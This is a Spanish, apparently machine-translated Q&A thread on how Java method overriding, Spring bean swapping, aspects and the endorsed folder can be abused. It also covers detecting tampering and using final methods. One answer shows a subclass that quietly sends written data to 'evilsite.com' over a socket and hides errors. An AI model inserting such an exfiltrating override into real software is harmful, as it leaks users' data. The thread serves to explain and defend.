¿Cómo usar la anulación del método Java para atacar?

Cuando creas un archivo .jar, lo implementas en un sistema y lo ejecutas, no es más vulnerable que cualquier otra aplicación desarrollada con cualquier otra tecnología.

Los ataques descritos en estos artículos son relevantes cuando el atacante ya puede inyectar código Java en su aplicación. Por ejemplo, cuando su aplicación carga clases en tiempo de ejecución con un ClassLoader de una fuente que no está bajo su control (o el de su usuario). Los artículos solo reiteran lo que todo desarrollador de aplicaciones ya debería saber: No cargue ni ejecute código que no sea de confianza . Cuando no haces nada de eso, no hay nada de lo que tengas que preocuparte.

La mayoría de los artículos desacreditan la idea errónea de que podría ser posible crear un entorno de ejecución de plugin de espacio aislado al confiar en las características de visibilidad de JAVA. Supongamos que desea crear una aplicación Java donde los usuarios pueden descargar extensiones desde la web. Esto funciona al descargar el archivo .class y cargarlo en tiempo de ejecución con ClassLoader . Pero usted quiere limitar lo que estas extensiones pueden y no pueden hacer. ¿Podría simplemente declarar los datos a los que no desea que estas extensiones accedan como private ? No, eso no funciona, porque hay trucos para subvertir estos modificadores de acceso.

Una vez que alguien tiene acceso a un archivo jar, es una operación relativamente sencilla para descompilarlo, por lo que tengo mucha curiosidad sobre las prácticas de seguridad que rodean las aplicaciones Java a prueba de manipulaciones.

En cuanto a la pregunta en cuestión. Digamos que una clase tiene un método igual que no se declara definitivo. Si el método igual devuelve verdadero, le da acceso a un recurso crítico. Puede crear una clase con la clase original como la clase principal y definir un método con el mismo nombre y argumentos como iguales en la clase principal. Haz que este método se vuelva verdadero todo el tiempo.

Ahora puede pasar su clase derivada a cualquier función que acepte la clase padre original como un argumento. Cuando se llama al método equals, se devolverá verdadero porque se "anuló" el método. Nunca llamará a los padres la misma clase porque no llamaste superequipos dentro de tu hack.

Varias herramientas (por ejemplo, Collabnet Subversion) le permiten cargar archivos jar que implementan interfaces para crear controladores de eventos y otros tipos de personalizaciones de funcionalidad. Anular cuidadosamente los métodos críticos para evitar las comprobaciones de seguridad es probablemente una vulnerabilidad más común de lo que se conoce. Creo que muchos de los proveedores de herramientas confían en el acceso administrativo para cargar personalizaciones para protegerlos.

ANULAR EL MÉTODO QUE USA LA HERENCIA

Si hablamos estrictamente solo sobre el uso de la herencia para anular el método en una aplicación existente que no tiene acceso al código fuente, @objlass es un poco del tema.

Esto se debe a que si crea una nueva clase que extienda una nueva y simplemente invalide un método y lo coloque en la carpeta de clases de la aplicación en ejecución, no ocurrirá nada. Esto se debe a que no está haciendo cosas complejas, como descompilar y modificar el código existente.

Sin embargo, si tiene un Administrador DI como Spring, puede cambiar la clase inyectada editando el Archivo XML, y así podrá reemplazar su propio bean por el original.

POINTCUT

Otro tipo de ataques tampoco es anular métodos, al agregar puntos de corte usando aspectos, de nuevo, esto se puede hacer mediante el uso de un marco como Spring.

Para la seguridad de la aplicación, solo he escuchado que algún proyecto prohíbe que cualquier biblioteca agregue la capacidad de agregar puntos usando aspectos.

El hecho de que en Java sea más fácil inyectar código no significa mucho, solo puede considerar que si alguien pudo acceder a su servidor de aplicaciones, el servidor está dañado.

OVERRIDING CLASS UING ENDOERSED FOLDER

Otra forma de piratear sería utilizar el mecanismo respaldado de Java, es un lugar específico donde todos los JAR que se ponen aquí tienen prioridad sobre todos los demás. Así que esto significa que puede sobrescribir incluso el tipo como Java.lang.String. O en lugar de derivar una clase para reemplazarla o agregar un punto de corte, puede obtener la clase (ya sea código fuente o descompilación .class) modificarla, compilarla, colocarla en un JAR y colocarla en la carpeta aprobada.

Tenga en cuenta que, por ejemplo, apache Tomcat ya posee una carpeta "aprobada" que se utiliza para anular cualquier biblioteca que necesite internamente para tener la versión correcta de las clases. simplemente puedes abrir uno de esos JARS y agregar tu clase dentro.

PROTEGER CONTRA ESOS MÉTODOS

¿Cómo se supone que un administrador de sistemas detecte esto? Bueno, de hecho, vi una solución bastante simple: un script que periódicamente (cron ...: p) verifica si algún archivo en el servidor (espera los registros que están movd en / var / log o lo que sea) ha cambiado e informarlo a la administrador del sistema si es así.

Debido a la forma en que lo esté haciendo, si no puede cambiar el código fuente antes de que ingrese al servidor, tendrá que modificar los archivos y detectar que, de hecho, es bastante fácil.

Para incluso ir más lejos, podría usar hash de cómputo md5 (¡y aún verificar el tamaño del archivo!) de todos los archivos de su servidor y el script en ejecución (en caso de que alguien intente agregar una carpeta externa a la ruta de clase).

Finalmente, lo que he dicho aquí es bastante simple de implementar, probablemente hay formas aún más inteligentes de hacerlo, sin embargo, no tengo los conocimientos necesarios para ello.

EDITAR:

Gracias a @ojblass por señalar que hay un paquete llamado Tripwire que mirará los archivos / directorio por usted y ejecutará el comando que desee cuando ocurra algo.

  

No puedo ver el modelo de hilo de este tipo de ataque, es decir,   ¿Qué tipo de capacidad necesita el atacante?

Creo que quiso decir "modelo de amenaza" aquí, si me equivoco, lo enmendaré en consecuencia.

El modelo de amenaza toma un poco de pensamiento, pero el peligro está ahí.

En el caso simple, todo lo que tengo que hacer es escribir otra clase con el mismo paquete y nombre de clase que la clase objetivo, y luego asegurarme de que mi clase maliciosa se cargue en el classpath antes que la suya.

El caso más complicado (y más común) es cuando una aplicación expone una API para extender la funcionalidad. Este ejemplo será ideado, pero servirá para ilustrar. Imagine una aplicación que expone una clase que realiza operaciones contra el sistema de archivos.

Supongamos que tengo un método que escribe un archivo en una ruta:

package com.foo;

public class HostClass {

    public void writeToFile(byte[] data, String path){
        //dostuff
    }
}

Supongamos que esta aplicación solo procesará POJO como esta como una línea de fábrica.

Escribiré mi propia clase:

package com.foo;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;

public class ClientClass extends HostClass {

    @Override
    public void writeToFile(byte[] data, String path){
        try {
            InetAddress address = InetAddress.getByName("http://www.evilsite.com");
            Socket s = new Socket(address, 443);
            DataOutputStream out = new DataOutputStream(s.getOutputStream());
            out.write(data);
        } catch (IOException e) {
            //swallow to hide
        }
        //dostuff
    }
}

Entonces ... todos los datos que se escriban por esta API ahora también se enviarán a un lugar de mi elección.

Esto probablemente no es lo que pretendían los diseñadores. Pero, porque puedo anular el método, es posible.

Esto es más un error oportunista en lugar de algo más generalmente explotable como XSS o desbordamiento de búfer. La aplicación correcta tiene que exponer la interfaz correcta y tiene que realizar funciones suficientemente sensibles que me atrevo a cooptarlas.

El modelo de amenaza es bastante general: analiza tu aplicación.

Cómo evitar:

package com.foo;

public class HostClass {

    public final void writeToFile(byte[] data, String path){
        //dostuff
    }
}

Esto puede evitarse asegurándose de que cualquier método que realice funciones confidenciales no pueda ser anulado. Si sigue el principio de privilegio mínimo mientras codifica, nunca debería ver esto como un problema real. (¡No olvide la validación de entrada en path !